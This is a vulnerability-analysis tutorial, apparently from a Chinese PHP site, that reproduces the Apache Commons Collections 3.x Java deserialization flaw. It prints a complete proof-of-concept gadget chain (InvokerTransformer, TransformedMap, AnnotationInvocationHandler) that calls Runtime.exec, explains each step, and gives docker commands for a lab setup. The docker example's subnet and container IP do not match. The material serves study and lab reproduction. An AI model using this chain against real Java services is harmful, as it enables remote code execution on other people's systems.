Home >Operation and Maintenance >Safety >How to analyze and reproduce Apache Commons Collections deserialization vulnerability
Complete vulnerability mining condition analysis and vulnerability reproduction.
Versions with security flaws: Apache Commons Collections 3.2.1 or below, [JDK version: 1.7.0_80] Apache Maven 3.6.3.
POC core code:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
Transformer interface-implementation class-InvokerTransformer(), which can call any function.
To implement Runtime.getRuntime().exec(cmd), you need to call transformer multiple times and use the current return result as the next input information.
To call Runtime.getRuntime(), consider the ConstantTransformer class, which can directly use the input parameters as output.
ChainedTransformer As an implementation class, for the received Transformer array, it uses its own transform method (the parameters are input by the user) to process the Transformer array object one by one, and uses the result as the input parameter for the next repeated call. Its transform() method can trigger the vulnerability.
In order to find the deserialization path, that is, the read in data is deserialized and executed, then look for the path that can trigger the ChainedTransformer object's .transform() method in reverse.
The HashMap class can store data in the form of key-value pairs, and the put(key, value) method can store data.
The function of the TransformedMap class is to store key-value pairs and convert them into transform objects. The decorate() method can create key-value pairs, and the checkSetValue() method will trigger the this.valueTransformer.transform() statement. Search in reverse order to call checkSetValue() [1] to make this.valueTransformer a ChainedTransformer object [2].
For [2], the static method decorate() of the TransformedMap class can achieve the goal.
For [1], the setValue method of the AbstractInputCheckedMapDecorator class MapEntry static class will execute this.parent.checkSetValue(value), then this.parent should be set to the TransformedMap object [3] .
For [3], forward analysis of this code in the POC:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
Research shows that during the execution process, the TransformedMap object is assigned to this.parent in the AbstractInputCheckedMapDecorator class many times and returned The Map.Entry object can just execute the setValue() method and trigger the vulnerability.
In order to improve the versatility, we must find a way to trigger the vulnerability when calling the deserialization method. Therefore, consider looking for class objects that meet the requirements of "override deserialization readObject() and execute setValue() of Map class object variables." At the same time, this variable can be controlled and assigned key value data." The AnnotationInvocationHandler class meets this requirement [it calls setValue() on each entry of a member variable of the Map type].
Class.forName() function is to load the class.
Analyze again, for [1], forward analysis of the core code in the POC:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
Research shows that the execution process will execute the setValue method of the MapEntry static class, and will execute the entrySet method so that this.parent=TransformedMap object, thus triggering the vulnerability.
In general, the forward POC construction idea is: first construct the ChainedTransformer object, then create the Map object, then use the TransformedMap class instance to save the ChainedTransformer object to the Map class object, and then obtain the experience through the reflection method An instance of the AnnotationInvocationHandler class initialized by the Map class object and serialized.
Download the produced docker image, use the following command:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
Set the LAN and container IP, start the container, example:
(1) Customize the network
docker network create --subnet=192.168.10.1/24 testnet
(2) Start the docker container
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
In the container [Apache-Commons-Collections], execute the command [java -jar commons-collections-3.1.jar ], then the file [CommonsCollections3.1] is generated, as shown below.
The above is the detailed content of How to analyze and reproduce Apache Commons Collections deserialization vulnerability. For more information, please follow other related articles on the PHP Chinese website!